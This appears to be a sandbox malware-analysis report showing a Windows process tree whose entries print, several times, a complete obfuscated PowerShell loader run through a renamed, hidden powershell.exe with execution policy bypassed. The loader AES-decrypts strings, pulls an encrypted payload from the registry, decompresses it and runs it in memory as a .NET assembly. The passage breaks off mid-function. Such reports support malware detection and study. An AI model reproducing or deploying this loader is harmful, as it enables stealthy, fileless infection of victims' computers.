[System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        9⤵
        Hide Artifacts: Hidden Window
        
        PID:5376
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2236).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        9⤵
        Hide Artifacts: Hidden Window
        
        PID:6760
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2236).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; $gtVLy.Invoke($null, $lcVKx);}$WsNRR1 = New-Object System.Security.Cryptography.AesManaged;$WsNRR1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$yLsbB = $WsNRR1.('rotpyrceDetaerC'[-1..-15] -join '')();$rzDgo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g32zr8x1z1eXKjNNYTncqQ==');$rzDgo = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo, 0, $rzDgo.Length);$rzDgo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo);$WPuEM = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NBhIX4h9obZhmZBZWiFjCaaqfQRzlYAIDh5IoZOu/Cg=');$WPuEM = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WPuEM, 0, $WPuEM.Length);$WPuEM = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WPuEM);$lgIyz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ouZcnceW3lq0cuV8h+lzKw==');$lgIyz = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lgIyz, 0, $lgIyz.Length);$lgIyz = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lgIyz);$zpIta = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyusGvtx7BwrgWNx8Ve8AwXkxZC7b+QE8p16IoBwRj5GzHJClgJ8WRfSKnJV2GU4IcFxhAjTb5KGUoE8Gg188D6ZHfqlXgVMudPcQhEFrNXe0sFyyUU4FsCDbgv3a0peTf64GyY9TeBC/bRSbdASSEbXkZY1Qv7derzh0PixGlvbWXls95xuO7nT9u5xZ01DaAN/l14gfNMsSsdP9MsSm6BviHl7v8yIil82d4HCwO1dtSxU1RFh7DTyr3oLGQsZNyw7I2TMKfLn52JyQ8F9B04Lfn063fZn9OPZqbI46dcyCO7EPHufAcrkUL555oJtA7viZqV/DgWu0zh9N1pqjpU5WaRSXRmpXQVjP5k/8i70m4zQM/WrqpouLwj//BKSCWmM9V1y5VLLVe4CgiNYDH69nBFZcM97D4ZuOHCw1fs=');$zpIta = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zpIta, 0, $zpIta.Length);$zpIta = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zpIta);$WBWci = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sNAcaQpQrZ+RxyEhQHSMDg==');$WBWci = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WBWci, 0, $WBWci.Length);$WBWci = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WBWci);$EaxHN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FCsyGENEQWy6xG+gp1HC0A==');$EaxHN = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EaxHN, 0, $EaxHN.Length);$EaxHN = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EaxHN);$UkhHW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xvlZ8U7YwoUNfHXOZQTN3g==');$UkhHW = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UkhHW, 0, $UkhHW.Length);$UkhHW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UkhHW);$ZbDqr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EVsR45eL2AqXds+bhMve+w==');$ZbDqr = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZbDqr, 0, $ZbDqr.Length);$ZbDqr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZbDqr);$zhLnQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OiFaN2UCRMJcRZFx3PaFgA==');$zhLnQ = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zhLnQ, 0, $zhLnQ.Length);$zhLnQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zhLnQ);$rzDgo0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tyJUnmmed64aS1/ieB6Buw==');$rzDgo0 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo0, 0, $rzDgo0.Length);$rzDgo0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo0);$rzDgo1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lwmOYUM+ml30B9w5BNC1fA==');$rzDgo1 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo1, 0, $rzDgo1.Length);$rzDgo1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo1);$rzDgo2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jDaKpFDsz1YMMn7CH+jFdg==');$rzDgo2 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo2, 0, $rzDgo2.Length);$rzDgo2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo2);$rzDgo3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMuv4rt0dEMvdOnpsS9HnQ==');$rzDgo3 = $yLsbB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($rzDgo3, 0, $rzDgo3.Length);$rzDgo3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($rzDgo3);$yLsbB.Dispose();$WsNRR1.Dispose();$SXzOt = [Microsoft.Win32.Registry]::$ZbDqr.$UkhHW($rzDgo).$EaxHN($WPuEM);$QALNX=[string[]]$SXzOt.Split('\');$eZoHq=HVhej(yRVet([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[1])));HFudo $eZoHq (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$wMvmv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QALNX[0]);$WsNRR = New-Object System.Security.Cryptography.AesManaged;$WsNRR.Mode = [System.Security.Cryptography.CipherMode]::CBC;$WsNRR.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$WsNRR.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E=');$WsNRR.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng==');$PQJld = $WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')();$wMvmv = $PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wMvmv, 0, $wMvmv.Length);$PQJld.Dispose();$WsNRR.Dispose();$kDmKF = New-Object System.IO.MemoryStream(, $wMvmv);$QiWig = New-Object System.IO.MemoryStream;$wAFHv = New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::$rzDgo1);$wAFHv.$zhLnQ($QiWig);$wAFHv.Dispose();$kDmKF.Dispose();$QiWig.Dispose();$wMvmv = $QiWig.ToArray();$wLaKJ = $zpIta | IEX;$guTvP = $wLaKJ::$rzDgo2($wMvmv);$gtVLy = $guTvP.EntryPoint;$gtVLy.$rzDgo0($null, (, [string[]] ($lgIyz)))
        9⤵
        
        PID:7156
        
        C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2236).WaitForExit();[System.Threading.Thread]::Sleep(5000); function yRVet($pCqZc){ $WsNRR=[System.Security.Cryptography.Aes]::Create(); $WsNRR.Mode=[System.Security.Cryptography.CipherMode]::CBC; $WsNRR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $WsNRR.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C1DooyosBeau0QfYEo/39BCe6wtkmoNq29QeYQSb34E='); $WsNRR.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAFVcju7yh8syFoCPiJ1Ng=='); $PQJld=$WsNRR.('rotpyrceDetaerC'[-1..-15] -join '')(); $yEKFo=$PQJld.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($pCqZc, 0, $pCqZc.Length); $PQJld.Dispose(); $WsNRR.Dispose(); $yEKFo;}function HVhej($pCqZc){ $kDmKF=New-Object System.IO.MemoryStream(,$pCqZc); $QiWig=New-Object System.IO.MemoryStream; $wAFHv=New-Object System.IO.Compression.GZipStream($kDmKF, [IO.Compression.CompressionMode]::Decompress); $wAFHv.CopyTo($QiWig); $wAFHv.Dispose(); $kDmKF.Dispose(); $QiWig.Dispose(); $QiWig.ToArray();}function HFudo($pCqZc,$lcVKx){ $guTvP=[System.Reflection.Assembly]::Load([byte[]]$pCqZc); $gtVLy=$guTvP.EntryPoint; 